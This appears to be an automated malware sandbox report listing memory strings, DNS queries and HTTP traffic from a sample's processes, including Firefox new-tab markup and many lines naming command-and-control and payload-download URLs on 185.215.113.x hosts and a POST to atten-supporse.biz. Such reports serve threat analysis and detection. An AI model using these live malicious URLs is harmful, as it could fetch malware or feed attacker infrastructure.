Source: firefox.exe, 00000018.00000002.2800920930.000002BA56B76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000018.00000002.2800920930.000002BA56B76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000003.2740167016.000002BA5C07F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A25E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000003.2740167016.000002BA5C07F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2888920201.000026C2BC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A25E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2860458807.000002BA5D10B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2860458807.000002BA5D10B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000018.00000002.2844309945.000002BA5BC8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2860458807.000002BA5D10B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2839565999.000002BA5B5A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841657939.000002BA5B88F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2821559085.000002BA59F8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2889544343.00002AF0BFD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2821559085.000002BA59F8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2826478847.000002BA5A31B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2889544343.00002AF0BFD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comZ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2839565999.000002BA5B5FD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2839565999.000002BA5B580000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841657939.000002BA5B852000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: firefox.exe, 00000018.00000002.2792299128.000002BA49C6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2870614524.000002BA61990000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: ae5cfd188c.exe, 00000007.00000003.2752889103.0000000000C44000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2753147956.0000000000C4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: ae5cfd188c.exe, 00000007.00000003.2752889103.0000000000C44000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2753147956.0000000000C4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/2
Source: ae5cfd188c.exe, 00000007.00000003.2752889103.0000000000C44000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2753147956.0000000000C4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/H
Source: skotes.exe, 00000006.00000002.2915523016.00000000006C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000006.00000002.2915523016.00000000006C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61395d7f
Source: skotes.exe, 00000006.00000002.2915523016.00000000006C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exep
Source: ae5cfd188c.exe, 00000007.00000003.2751970018.0000000000C5C000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2752889103.0000000000C44000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2751970018.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2752988072.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: ae5cfd188c.exe, 00000007.00000003.2752889103.0000000000C44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exez
Source: ae5cfd188c.exe, 00000007.00000003.2752889103.0000000000C44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exezC
Source: ae5cfd188c.exe, 00000007.00000003.2752889103.0000000000C44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exezI
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeb
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2752889103.0000000000C44000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2753147956.0000000000C4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe_
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: ae5cfd188c.exe, 00000007.00000003.2752889103.0000000000C44000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2753147956.0000000000C4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/z
Source: ae5cfd188c.exe, 00000007.00000003.2753332198.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: 37df924488.exe, 00000009.00000002.2578174288.000000000143E000.00000004.00000020.00020000.00000000.sdmp, 37df924488.exe, 00000009.00000002.2578174288.0000000001498000.00000004.00000020.00020000.00000000.sdmp, 37df924488.exe, 0000001B.00000002.2764793088.000000000142B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 37df924488.exe, 00000009.00000002.2578174288.000000000143E000.00000004.00000020.00020000.00000000.sdmp, 37df924488.exe, 00000009.00000002.2578174288.0000000001498000.00000004.00000020.00020000.00000000.sdmp, 37df924488.exe, 0000001B.00000002.2764793088.000000000142B000.00000004.00000020.00020000.00000000.sdmp, 37df924488.exe, 0000001B.00000002.2764793088.0000000001484000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 37df924488.exe, 00000009.00000002.2578174288.0000000001498000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/P
Source: 37df924488.exe, 00000009.00000002.2578174288.0000000001498000.00000004.00000020.00020000.00000000.sdmp, 37df924488.exe, 00000009.00000002.2578174288.0000000001484000.00000004.00000020.00020000.00000000.sdmp, 37df924488.exe, 0000001B.00000002.2764793088.000000000142B000.00000004.00000020.00020000.00000000.sdmp, 37df924488.exe, 0000001B.00000002.2764793088.0000000001484000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 37df924488.exe, 00000009.00000002.2578174288.0000000001498000.00000004.00000020.00020000.00000000.sdmp, 37df924488.exe, 0000001B.00000002.2764793088.0000000001484000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 37df924488.exe, 00000009.00000002.2578174288.0000000001498000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/a
Source: 37df924488.exe, 00000009.00000002.2578174288.0000000001498000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php8
Source: 37df924488.exe, 00000009.00000002.2578174288.0000000001498000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/o
Source: 37df924488.exe, 00000009.00000002.2578174288.0000000001498000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: 37df924488.exe, 00000009.00000002.2578174288.000000000143E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206Oz
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Local
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2915523016.00000000006A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php&
Source: skotes.exe, 00000006.00000002.2915523016.00000000006D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php3539001
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php95dA
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2915523016.00000000006A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php?
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpF
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpJ
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpa4
Source: skotes.exe, 00000006.00000002.2915523016.00000000006C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpl
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedF
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedl
Source: skotes.exe, 00000006.00000002.2915523016.00000000006D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnub
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpq
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phps
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpu.
Source: skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ones
Source: firefox.exe, 00000018.00000002.2827730700.000002BA5A451000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000018.00000002.2827730700.000002BA5A451000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000018.00000002.2827730700.000002BA5A451000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000018.00000002.2827730700.000002BA5A451000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: ae5cfd188c.exe, 00000007.00000003.2545472204.0000000005628000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2686850969.000000000544A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2839565999.000002BA5B52F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
